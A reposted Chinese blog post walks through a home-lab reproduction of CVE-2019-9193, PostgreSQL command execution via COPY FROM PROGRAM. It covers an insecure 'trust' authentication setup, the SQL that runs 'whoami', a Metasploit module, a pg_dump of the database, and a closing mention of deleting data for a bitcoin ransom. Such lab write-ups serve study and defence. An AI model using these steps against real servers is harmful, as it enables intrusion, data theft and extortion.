為了復現這樣一個漏洞需要首先配置目標靶機,整體測驗環境如下:
| 漏洞名稱 | CVE-2019-9193 |
| 漏洞影響PostgreSQL版本 | 9.3-11.2 |
| 漏洞影響平臺 | windows+Linux+Mac OS |
| 測驗硬體環境 | win10(家庭版) |
| 虛擬機版本 | ubuntu18.04 |
| 本次PostgreSQL版本 | 10.18 |
| win10與ubuntu虛擬機連接方式 | 橋接 |
| kali攻擊機ip | 192.168.31.68 |
| 靶機ip | 192.168.31.9 |
| 網關 | 192.168.31.0 |
1.在本地windows10(家庭版)安裝ubuntu18.04虛擬機
windows10現在已經支持以應用的放式安裝Linux虛擬機,具體就是在microsoft store搜索ubuntu,如圖:

2.安裝postgresql資料庫
apt update
apt install postgresql postgresql-contrib
安裝完會自動啟動,如果沒有自動啟動請根據報錯參考其他,我這邊當時報了 /var/lib/postgresql/10/main權限不足導致PostgreSQL啟動失敗,通過命令
chmod 700 -R /var/lib/postgresql/10/main解決,最后驗證pg服務是否正常運行
service postgresql status
3.配置資料遠程登錄權限
在檔案pg_hba.conf(一般為/etc/postgresql/pg_hba.conf)末尾添加
host all all 192.168.31.0/24 trust
添加后大概為:
# replication privilege.
local replication all peer
host replication all 127.0.0.1/32 md5
host replication all ::1/128 md5
host all all 192.168.31.0/24 trust
還需修改postgresql.conf中的
#listen_addresses = 'localhost'為
listen_addresses = '*'即去掉注釋,允許監聽所有主機
4.win10與虛擬機橋接
4.1 安裝Hyper-V
由于win10家庭版是沒有自帶Hyper-V(微軟實作的類似VMware的虛擬技術),需要手動安裝,復制下面代碼到txt記事本檔案中,并修改檔案名為Hyper-V.cmd
pushd "%~dp0"
dir /b %SystemRoot%\servicing\Packages\*Hyper-V*.mum >hyper-v.txt
for /f %%i in ('findstr /i . hyper-v.txt 2^>nul') do dism /online /norestart /add-package:"%SystemRoot%\servicing\Packages\%%i"
del hyper-v.txt
Dism /online /enable-feature /featurename:Microsoft-Hyper-V-All /LimitAccess /ALL找到檔案,右鍵點擊,選擇“以管理員身份運行”,運行后,自動打開命令列執行相關命令,執行到最后根據提示讓輸入Y或N,輸入Y,重啟電腦...
重啟成功后,Hyper-V安裝完成,
詳情參考:win10 家庭中文版沒有Hyper-V,這樣安裝一步搞定
4.2 創建橋接
在開始里搜Hyper-V找到管理器,如圖:

如果找不到Hyper-V管理器,建議再重啟一下電腦
詳情參考:https://blog.csdn.net/sinat_36203615/article/details/77969800創建網橋,并橋接,橋接成功如圖:

5.驗證網路連通性
配置到這里kali(滲透主機)應該就可以登錄postgresql虛擬機了,
psql -h 192.168.31.9 -U postgres -p 5432
但是我這邊還是連不上pg服務,這里需要注意一下你的虛擬機ubuntu18.04上啟動的pg服務,是否是在5432默認埠,我通過查看組態檔發現是在5433埠(由于win10上也裝了pg資料庫,埠占用就自動換了吧),然后再次連接:
psql -h 192.168.31.9 -U postgres -p 5433
依然失敗!最后發現是win10的防火墻攔截導致,關閉防火墻即可
6.復現[CVE-2019-9193]漏洞
先手動感受一波:
psql -h 192.168.31.9 -U postgres -p 5433
postgres=# DROP TABLE IF EXISTS cmd_exec;
DROP TABLE
postgres=# CREATE TABLE cmd_exec(cmd_output text);
CREATE TABLE
postgres=# COPY cmd_exec FROM PROGRAM 'whoami';
COPY 1
postgres=# SELECT * FROM cmd_exec;
cmd_output
------------
postgres
(1 行記錄)
此時已經成功的執行了whoami命令,接下來用metasploit工具走一波:
使用exploit/multi/postgres/postgres_copy_from_program_cmd_exec模塊
引數配置如圖:

建立session通道后效果如圖:
通過pg_dump命令對postgres資料庫備份到/tmp/hacktest.sql檔案

再接下來就是洗掉資料,留下位元幣的支付id,就如我曾經遭遇過的一樣:

原文出自: http://pyspiderking.cn/index.php/2021/08/15/pg-cve-2019-9193/
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/294137.html
標籤:其他
上一篇:自學滲透避坑指南(二)
下一篇:攻防世界-web新手區wp
